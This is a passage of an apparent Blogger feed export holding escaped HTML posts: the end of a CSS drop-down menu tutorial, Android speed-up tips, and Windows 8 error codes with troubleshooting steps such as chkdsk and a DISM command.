class=&quot;pun&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;com&quot;&gt;/* adjust as necessary */&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;levl&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;one&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;hover &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;levl&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;two &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt;display&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; block&lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;pln&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://comhttp.blogspot.com/feeds/4231906733126889981/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://comhttp.blogspot.com/2014/06/drop-down-menu-with-pure-css.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/4231906733126889981'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/4231906733126889981'/><link rel='alternate' type='text/html' href='http://comhttp.blogspot.com/2014/06/drop-down-menu-with-pure-css.html' title='Drop Down Menu With Pure CSS'/><author><name>AzHaR</name><uri>http://www.blogger.com/profile/03405898531471075920</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih40lSRTtzKH7GaWX63mZdTGNTfcpmTNeHTdfcc29rNAStswogMjPe0Xnhce2tbuvWCIjNYm7rv3LG-lZmlK4GrqJc9q6EkGqcQCqRhp6kM7MOJgMUMecLH5AbzL7ybw/s220/azhar.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4277709300573377224.post-8012911984910788310</id><published>2013-08-05T07:20:00.003+05:30</published><updated>2013-08-05T07:20:57.775+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Mobile Tips"/><title type='text'>Easy Ways to Speed Up Your Android Mobiles in Under 3 Minutes</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;h4&gt;
1. Clear Your App Cache (30 seconds)&lt;/h4&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-weight: normal; line-height: 19px;&quot;&gt;Over
 time, your programs write to the app cache on your phone and eat up 
precious system resources while slowing everything down. You can clear 
the cache on any individual app by visiting its property page in the 
Settings menu and tapping the clear cache button, but with dozens of 
apps on most phones, it could take an eternity to do this manually.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span id=&quot;more-210150&quot;&gt;&lt;/span&gt;&lt;br /&gt;

&lt;div style=&quot;margin: 15px 0;&quot;&gt;

&lt;/div&gt;
&lt;img alt=&quot;Clear Cache Settings&quot; class=&quot;aligncenter size-full wp-image-210155&quot; height=&quot;400&quot; src=&quot;http://blog.laptopmag.com/wpress/wp-content/uploads/2013/04/clear-cache-settings.jpg&quot; title=&quot;clear-cache-settings&quot; width=&quot;243&quot; /&gt;&lt;br /&gt;

App Cache Cleaner, a free app, makes it easy to delete the cache on 
all your apps at once with just a couple of taps. After installing and 
launch &lt;a href=&quot;https://play.google.com/store/apps/details?id=mobi.infolife.cache&quot;&gt;App Cache Cleaner&lt;/a&gt;, simply tap Clear All and you’re done.&lt;br /&gt;

&lt;img alt=&quot;Cache Cleaner&quot; class=&quot;aligncenter size-full wp-image-210154&quot; height=&quot;400&quot; src=&quot;http://blog.laptopmag.com/wpress/wp-content/uploads/2013/04/cache-cleaner.jpg&quot; title=&quot;cache-cleaner&quot; width=&quot;242&quot; /&gt;&lt;br /&gt;

Of course, the cache will fill &amp;nbsp;up again over time, and you’ll want 
to delete it again. App Cache Cleaner has an Auto Clear feature. If you 
enter its settings menu, tap Auto Clear Interval and select a duration, 
it will automatically clear the cache on a regular basis. However, this 
means that the app needs to run in the background.&lt;br /&gt;

&lt;img alt=&quot;Auto Clear Interval in App Cache Cleaner&quot; class=&quot;aligncenter size-full wp-image-210157&quot; height=&quot;377&quot; src=&quot;http://blog.laptopmag.com/wpress/wp-content/uploads/2013/04/auto-clear-interval.jpg&quot; title=&quot;Auto Clear Interval in App Cache Cleaner&quot; width=&quot;670&quot; /&gt;&lt;br /&gt;

&amp;nbsp;Installing and using App Cache Cleaner for the first time should take around 30 seconds.&lt;br /&gt;

&lt;h4&gt;
2. Disable or Uninstall Unused Apps (60 seconds)&lt;/h4&gt;
You may not know it, but many of the apps you never even use may be 
running in the background, eating up precious system resources. From the
 app that you tried for 5 minutes last month to the shopping app that 
came preloaded on your phone, every unused app has the potential to 
weigh your phone down. It’s easy to uninstall apps you’ve downloaded 
yourself, but crapware is a little harder to dispose of.&lt;br /&gt;

If you have rooted your phone, you can completely remove every trace 
of your preloaded apps. If not, you can still disable those apps through
 the settings menu. It should take about 10 seconds to uninstall or 
disable each app you don’t want. It should take you approximately one 
minute to get rid of 6 apps, longer if you have more crapware to dump.&lt;br /&gt;

&lt;strong&gt;MORE: &lt;a href=&quot;http://blog.laptopmag.com/how-to-effectively-remove-android-crapware&quot;&gt;How to Remove Android Crapware&lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;

&lt;h4&gt;
3. Install a New App Launcher (30 seconds)&lt;/h4&gt;
Your phone’s app launcher controls your desktop, lock screen apps 
menu, and other critical parts of the UI. Though every Android phone 
comes with its own preloaded app launcher, you can install a third party
 launcher that will not only change the look and feel of your device, 
but also speed the time it takes it to navigate around the OS. There are
 many different launchers available in the app store, but we found &lt;a href=&quot;https://play.google.com/store/apps/details?id=net.pierrox.lightning_launcher&amp;amp;feature=search_result#?t=W251bGwsMSwxLDEsIm5ldC5waWVycm94LmxpZ2h0bmluZ19sYXVuY2hlciJd&quot;&gt;Lightning Launcher Home&lt;/a&gt; to be among the fastest and easiest to use.&lt;br /&gt;

To use Lightning Launcher or another launcher of your choice:&lt;br /&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Install &lt;a href=&quot;https://play.google.com/store/apps/details?id=net.pierrox.lightning_launcher&quot;&gt;Lightning Launcher&lt;/a&gt;&lt;/strong&gt; from the Google Play store.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tap the Home Button. &lt;/strong&gt;A menu appears asking you which launcher you want.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Select Lightning Launcher and Tap Always.&lt;br /&gt;&amp;nbsp;&lt;img alt=&quot;Set to Lightning Launcher and Select Always&quot; class=&quot;aligncenter size-full wp-image-210163&quot; height=&quot;400&quot; src=&quot;http://blog.laptopmag.com/wpress/wp-content/uploads/2013/04/complete-action-homescreen.jpg&quot; title=&quot;Complete Action Always&quot; width=&quot;432&quot; /&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
Downloading the Lightning Launcher, and setting it to run as your default should take 30 seconds.&lt;/div&gt;
&lt;h4&gt;
&lt;strong&gt;4. Remove Unnecessary Widgets and Shortcuts (30 seconds)&lt;/strong&gt;&lt;/h4&gt;
Even with a speedy App Launcher installed, your phone will use more 
memory the more widgets and shortcuts it has in memory. Look through 
your desktops for widgets you don’t absolutely need and remove them by 
long pressing and dragging them off screen.&lt;br /&gt;

&lt;img alt=&quot;Remove a Widget&quot; class=&quot;aligncenter size-full wp-image-210165&quot; height=&quot;400&quot; src=&quot;http://blog.laptopmag.com/wpress/wp-content/uploads/2013/04/remove-widget.jpg&quot; title=&quot;remove-widget&quot; width=&quot;304&quot; /&gt;&lt;br /&gt;

A number of phones with widgets that advertise services such as media
 stores or news services. Unless you really want to look at a list of 
hot YouTube videos or Google Play Books on your home screen every day, 
remove these.&lt;br /&gt;

Dragging half a dozen shortcuts and widgets off &amp;nbsp;of your desktops should take 30 seconds.&lt;br /&gt;

&lt;h4&gt;
5. Limit or Disable Background Data (10 to 60 seconds)&lt;/h4&gt;
Your email, your Gmail, your Facebook, your Twitter and your backup 
app all want to ping the Internet for data on a regular basis. All that 
syncing not only eats up your battery, but also takes up system 
resources and slows your device down.&lt;br /&gt;

There are some services you may want to sync in real time, but there 
are others you can check manually. For example, if you don’t need to be 
alerted the moment you get a Facebook mention or receive an email to 
your personal account, you can prevent those from connecting in the 
background. &lt;br /&gt;

To disable background data for all apps:&lt;br /&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong style=&quot;font-size: 13px; line-height: 19px;&quot;&gt;Navigate to Settings.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tap Data usage.&lt;br /&gt;&lt;img alt=&quot;Select Data Usage&quot; class=&quot;aligncenter size-full wp-image-210310&quot; height=&quot;314&quot; src=&quot;http://blog.laptopmag.com/wpress/wp-content/uploads/2013/04/enable-data-usage.jpg&quot; title=&quot;Select Data Usage&quot; width=&quot;600&quot; /&gt;&lt;strong style=&quot;font-size: 13px; line-height: 19px;&quot;&gt;&amp;nbsp;&lt;/strong&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Launch the context menu &lt;/strong&gt;by tapping the three dots in the upper left corner of the screen or hitting the menu button (on Samsung and LG phones).&lt;br /&gt;&lt;strong&gt;&lt;img alt=&quot;Select Data Usage&quot; class=&quot;aligncenter&quot; height=&quot;332&quot; src=&quot;http://blog.laptopmag.com/wpress/wp-content/uploads/2013/04/data-usage.jpg&quot; style=&quot;margin-bottom: 15px; margin-top: 15px;&quot; title=&quot;Select Data Usage&quot; width=&quot;600&quot; /&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Toggle Autosync data to off &lt;/strong&gt;and &lt;strong&gt;tap Ok &lt;/strong&gt;on the warning that comes up.&lt;br /&gt;&lt;img alt=&quot;Select Autosync Data&quot; class=&quot;aligncenter size-full wp-image-210308&quot; height=&quot;336&quot; src=&quot;http://blog.laptopmag.com/wpress/wp-content/uploads/2013/04/autosync-data.jpg&quot; style=&quot;margin-bottom: 15px; margin-top: 15px;&quot; title=&quot;Select Autosync Data&quot; width=&quot;600&quot; /&gt;&lt;/li&gt;
&lt;/ol&gt;
To disable background data for Gmail, Google+ and other Google Services:&lt;br /&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Navigate to Settings. &lt;/strong&gt;You can get to the Android settings menu from the notification drawer or apps menu.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tap on Google &lt;/strong&gt;under accounts&lt;strong&gt;.&lt;br /&gt;&lt;img alt=&quot;Tap the Account You Want to Stop From Syncing&quot; class=&quot;aligncenter size-full wp-image-210168&quot; height=&quot;314&quot; src=&quot;http://blog.laptopmag.com/wpress/wp-content/uploads/2013/04/tap-an-account.jpg&quot; style=&quot;margin-bottom: 15px; margin-top: 15px;&quot; title=&quot;tap-an-account&quot; width=&quot;603&quot; /&gt;&amp;nbsp;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tap the account name.&amp;nbsp;&lt;/strong&gt;&amp;nbsp;If the sync icon next to the account name is green, it has sync permission. If it is gray, syncing is already disabled.&lt;br /&gt;&lt;img alt=&quot;Select Your Gmail account&quot; class=&quot;aligncenter size-full wp-image-210328&quot; height=&quot;333&quot; src=&quot;http://blog.laptopmag.com/wpress/wp-content/uploads/2013/04/select-your-gmail-account.jpg&quot; style=&quot;margin-bottom: 15px; margin-top: 15px;&quot; title=&quot;Select Your Gmail account&quot; width=&quot;600&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Toggle all types of data syncing to off,&lt;/strong&gt;&amp;nbsp;including email, contacts and calendar.&lt;br /&gt;&lt;img alt=&quot;Toggle Sync to Off&quot; class=&quot;aligncenter size-full wp-image-210327&quot; height=&quot;335&quot; src=&quot;http://blog.laptopmag.com/wpress/wp-content/uploads/2013/04/toggle-sync-to-off1.jpg&quot; style=&quot;margin-bottom: 15px; margin-top: 15px;&quot; title=&quot;Toggle Sync to Off&quot; width=&quot;600&quot; /&gt;&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;
To turn off background data in other apps such as Facebook or the 
standalone email client, &amp;nbsp;you must go directly into their settings’ 
menus and find the option to never update or update manually. Disabling 
all your background at once should take just 10 seconds, but if you want
 to manually disable Gmail, Facebook and email client autosync 
separately, this process could take as long as a &amp;nbsp;minute.&lt;/div&gt;
&lt;div&gt;
Depending on how many apps you need to uninstall and services you 
wish to disable, you could finish speeding up your phone in as little as
 2 minutes and 40 seconds. That’s a very small time investment to make 
your smartphone snappier.&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://comhttp.blogspot.com/feeds/8012911984910788310/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://comhttp.blogspot.com/2013/08/easy-ways-to-speed-up-your-android.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/8012911984910788310'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/8012911984910788310'/><link rel='alternate' type='text/html' href='http://comhttp.blogspot.com/2013/08/easy-ways-to-speed-up-your-android.html' title='Easy Ways to Speed Up Your Android Mobiles in Under 3 Minutes'/><author><name>AzHaR</name><uri>http://www.blogger.com/profile/03405898531471075920</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih40lSRTtzKH7GaWX63mZdTGNTfcpmTNeHTdfcc29rNAStswogMjPe0Xnhce2tbuvWCIjNYm7rv3LG-lZmlK4GrqJc9q6EkGqcQCqRhp6kM7MOJgMUMecLH5AbzL7ybw/s220/azhar.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4277709300573377224.post-5956180142768952575</id><published>2013-07-02T17:00:00.000+05:30</published><updated>2013-07-02T17:00:00.334+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Windows Tips"/><title type='text'>Windows 8 Error Codes and Solutions</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://www.desktopwallpaper2.com/desktop-wallpaper-home/a-new-beginning-windows-8-wallpaper-hd-wallpaper-1280x720-5-508a1100ac92f-6290.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;180&quot; src=&quot;http://www.desktopwallpaper2.com/desktop-wallpaper-home/a-new-beginning-windows-8-wallpaper-hd-wallpaper-1280x720-5-508a1100ac92f-6290.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
You may not optimize windows 8 if you 
consistently experience errors in your operating system. However, it is a
 new operating system so chances are there to get surprised with errors.
 Do not get obsessed, here are bunch of common errors and their 
solution:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;a href=&quot;http://optimizewindows8.files.wordpress.com/2013/03/images.jpg&quot;&gt;&lt;img alt=&quot;Fix-Windows8-Errors-Solutions&quot; class=&quot;size-medium wp-image-216 aligncenter&quot; height=&quot;132&quot; src=&quot;http://optimizewindows8.files.wordpress.com/2013/03/images.jpg?w=316&amp;amp;h=132&quot; width=&quot;316&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;Error code 0xc00000e9&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;Solution:&lt;/span&gt; &lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
While upgrading from Win 7 to Win 8, you may encounter &lt;b&gt;Error code 0xc00000e9&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Try following steps to get this error fixed&lt;/div&gt;
&lt;ol style=&quot;text-align: justify;&quot;&gt;
&lt;li&gt;You may encounter, if you have removed a &lt;b&gt;removable storage&lt;/b&gt; device while it is working.&lt;/li&gt;
&lt;li&gt;Click on start button and type “&lt;b&gt;cmd&lt;/b&gt;”. Type &lt;b&gt;C:&lt;/b&gt; it will be shown like this &lt;b&gt;C:\&amp;gt;, &lt;/b&gt;if not type &lt;b&gt;cd..&lt;/b&gt; to get out of the directory until you reached &lt;b&gt;C:\&amp;gt;. &lt;/b&gt;Now type &lt;b&gt;chkdsk/r&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;go to manufacturer’s website and update BIOS&lt;/li&gt;
&lt;li&gt;Revert back to settings prior the error &lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;Error code 0x00005D&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;Solution:&lt;/span&gt; &lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
If you are trying to install windows 8 and put bootable disc in it but get this error &lt;b&gt;code 0x00005D &lt;/b&gt;and it prompts you to restart your pc. Even then problem persists. Following are the reasons:&lt;/div&gt;
&lt;ol style=&quot;text-align: justify;&quot;&gt;
&lt;li&gt;Windows 8 OS DVD&lt;/li&gt;
&lt;li&gt;System does not support windows 8&lt;/li&gt;
&lt;li&gt;System is not configured up to windows 8 minimum hardware requirements&lt;/li&gt;
&lt;li&gt;Windows 8 setup has some corrupt files&lt;/li&gt;
&lt;li&gt;Any hardware failure or internal error&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
You can install windows 8 after resolving these issues.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;Error Code 0xc0000001&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;Solution:&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
There is no need to freak out to see this error. You can fix it in a quick and easy way.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
If you are experiencing &lt;b&gt;Code: 0xc0000001 &lt;/b&gt;warning message, then follow the steps as given below to get rid of it.&lt;/div&gt;
&lt;ol style=&quot;text-align: justify;&quot;&gt;
&lt;li&gt;Shutdown your system&lt;/li&gt;
&lt;li&gt;Start your pc, as logo screen appeared press &lt;b&gt;SHIFT&lt;/b&gt; and &lt;b&gt;f8&lt;/b&gt; key immediately and it will take you to &lt;b&gt;Recovery&lt;/b&gt; and then select&lt;b&gt; See advanced repair option&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;Locate &lt;b&gt;Choose an Options &lt;/b&gt;click &lt;b&gt;Troubleshoot&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;Click &lt;b&gt;Advanced Options &lt;/b&gt;and click &lt;b&gt;Windows Startup Settings&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;Now click &lt;b&gt;Restart&lt;/b&gt;. It will repair without any changes in in your files and folders.&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
If problem, persist then following tips would be helpful&lt;/div&gt;
&lt;ol style=&quot;text-align: justify;&quot;&gt;
&lt;li&gt;Replace or insert disc / USB in appropriate place&lt;/li&gt;
&lt;li&gt;Forcefully restart your computer by pressing (ALT+CTRL+DEL)&lt;/li&gt;
&lt;li&gt;Let your system automatically repair and you just hold on. &lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;Error Code 0x800F0906&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;b&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;Solution:&lt;/span&gt;&lt;/b&gt; &lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
While installing Microsoft dot net framework 3.5 on windows 8, you may encounter &lt;span style=&quot;color: black;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;b&gt;Error Code 0x800F0906&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;. &lt;/b&gt;Usually we came across this issue because of network proxy, firewalls. To resolve issue you can try following steps.&lt;/div&gt;
&lt;ol style=&quot;text-align: justify;&quot;&gt;
&lt;li&gt;Go to desktop and open &lt;b&gt;My Computer&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;Insert installation media and right click on windows 8 client ISO&lt;/li&gt;
&lt;li&gt;Click &lt;b&gt;Start &lt;/b&gt;on taskbar and type &lt;b&gt;cmd&lt;/b&gt;&lt;/li&gt;
&lt;li style=&quot;text-align: left;&quot;&gt;Type &lt;b&gt;Dism/online/enable-feature/featurename:NetFx3/All/Source:&amp;lt;drive&amp;gt;:\sources\sxs/LimitedAccess&lt;/b&gt; and press Enter&lt;/li&gt;
&lt;li&gt;Eject windows 8 media and install windows live component&lt;/li&gt;
&lt;li&gt;Go to &lt;b&gt;Start &lt;/b&gt;button click &lt;b&gt;All programs &lt;/b&gt;and click &lt;b&gt;Windows Update&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;Restart you pc and install Microsoft dot net framework 3.5.&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://comhttp.blogspot.com/feeds/5956180142768952575/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://comhttp.blogspot.com/2013/07/windows-8-error-codes-and-solutions.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/5956180142768952575'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4277709300573377224/posts/default/5956180142768952575'/><link rel='alternate' type='text/html' href='http://comhttp.blogspot.com/2013/07/windows-8-error-codes-and-solutions.html' title='Windows 8 Error Codes and Solutions'/><author><name>AzHaR</name><uri>http://www.blogger.com/profile/03405898531471075920</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='17' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEih40lSRTtzKH7GaWX63mZdTGNTfcpmTNeHTdfcc29rNAStswogMjPe0Xnhce2tbuvWCIjNYm7rv3LG-lZmlK4GrqJc9q6EkGqcQCqRhp6kM7MOJgMUMecLH5AbzL7ybw/s220/azhar.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4277709300573377224.post-8030857905885646855</id><published>2013-07-02T16:47:00.001+05:30</published><updated>2013-07-02T16:50:02.669+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Windows Tips"/><title type='text'>Top 10 Windows 8 errors and solutions</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://www.desktopwallpaper2.com/desktop-wallpaper-home/Cool-Windows-8-wallpaper-hd-wallpaper-1680x1050-4-50851cdec7309-5028.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;200&quot; src=&quot;http://www.desktopwallpaper2.com/desktop-wallpaper-home/Cool-Windows-8-wallpaper-hd-wallpaper-1680x1050-4-50851cdec7309-5028.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;1. Windows 8 installation error. Error message: “Windows 8 installation has failed”&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;Solutions:&lt;/span&gt;&lt;br /&gt;
1) Check your system requirement if it meets the minimum system requirement to install Windows 8&lt;br /&gt;
2) Try to disable all NON Microsoft installed software, uninstall your third party antivirus program, remove anything plugged in via the usb ports then restarted your computer.&lt;br /&gt;
3) Disconnect all the external devices (printers, scanner, USB, etc. except mouse and the keyboard; shut all non-essential services and apps off (iTunes, AVG etc) and then choosing the &#39;install only&#39; option.&lt;br /&gt;
4) Created an installation USB and ran the upgrade setup from there instead of the HD&lt;br /&gt;
5) Try installing Windows 8 doing a CleanBoot (How to do a cleanboot?)&lt;br /&gt;
6) Check your ios file. You might have a corrupt download that is causing the issue.&lt;br /&gt;
Check the ISO Sha 1 hash to verify if you have the correct hash. If they don&#39;t match then your download is corrupt and you will need to download a new ISO and reinstall.&lt;br /&gt;
64-bit (x64) Download (3.3 GB) Sha 1 hash —0xD76AD96773615E8C504F63564AF749469CFCCD57&lt;br /&gt;
32-bit (x86) Download (2.5 GB) Sha 1 hash —0x8BED436F0959E7120A44BF7C29FF0AA962BDEFC9&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;2. App /program can’t work&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;Solutions:&lt;/span&gt;&lt;br /&gt;
1) Try to un-install and re-install the app/program&lt;br /&gt;
2) Switched to local account and switched back to Microsoft account and then tried to run the app. (Go to desktop, press alt key + F4, select”switch users”.)&lt;br /&gt;
3) Check your third party program like firewall or antivirus program. Try to disable/remove your firewall/antivirus programs.&lt;br /&gt;
4) Re-install Windows 8. The ios file might be corrupt and need to re-install Windows 8&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;3. App can’t install from app store. Error message: &quot;Your purchase can&#39;t be completed&quot;&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;Solutions:&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
1) Check your third party program like firewall or antivirus program. Try to disable/remove your firewall/antivirus programs.&lt;br /&gt;
2) Check your network. Make sure that the network is fine. If you are using any Proxy connection, then try disabling the proxy connection.&lt;br /&gt;
3) Check if the date and time is correct, please correct it if it’s not correct&lt;br /&gt;
4) Update your app&lt;br /&gt;
5) Re-install Windows 8. The ios file might be corrupt and need to re-install Windows 8.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;4. Can not to connect to network&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;Solutions:&lt;/span&gt;&lt;br /&gt;
1) Check your hardware&lt;br /&gt;
Check your cables, check or reset your modem, and check for problems with your network adapter.&lt;br /&gt;
2) Check your connection settings to see if they&#39;ve been changed. (Control Panel &amp;gt;&amp;gt; Network and sharing center &amp;gt;&amp;gt; change adaptor settings)&lt;br /&gt;
3) Run Network troubleshooter to check issues(How to run troubleshooter?)&lt;br /&gt;
An automated troubleshooter can find and automatically fix some common networking problems.&lt;br /&gt;
4) Update network driver for your hardware and install driver in Windows 7 compatibility mode (How to install driver in Windows 7 compatibility mode?)&lt;br /&gt;
Check your network adapter driver if it is damaged, outdated or incompatible. Use Windows update to update your driver or download driver from the manufacturer’s website.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;5. No sound on Windows 8&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;Solutions:&lt;/span&gt;&lt;br /&gt;
1) Check your sound card if that works properly. Open your device manager and check to make sure your PC has a sound card, or sound processor, and it&#39;s working properly.&lt;br /&gt;
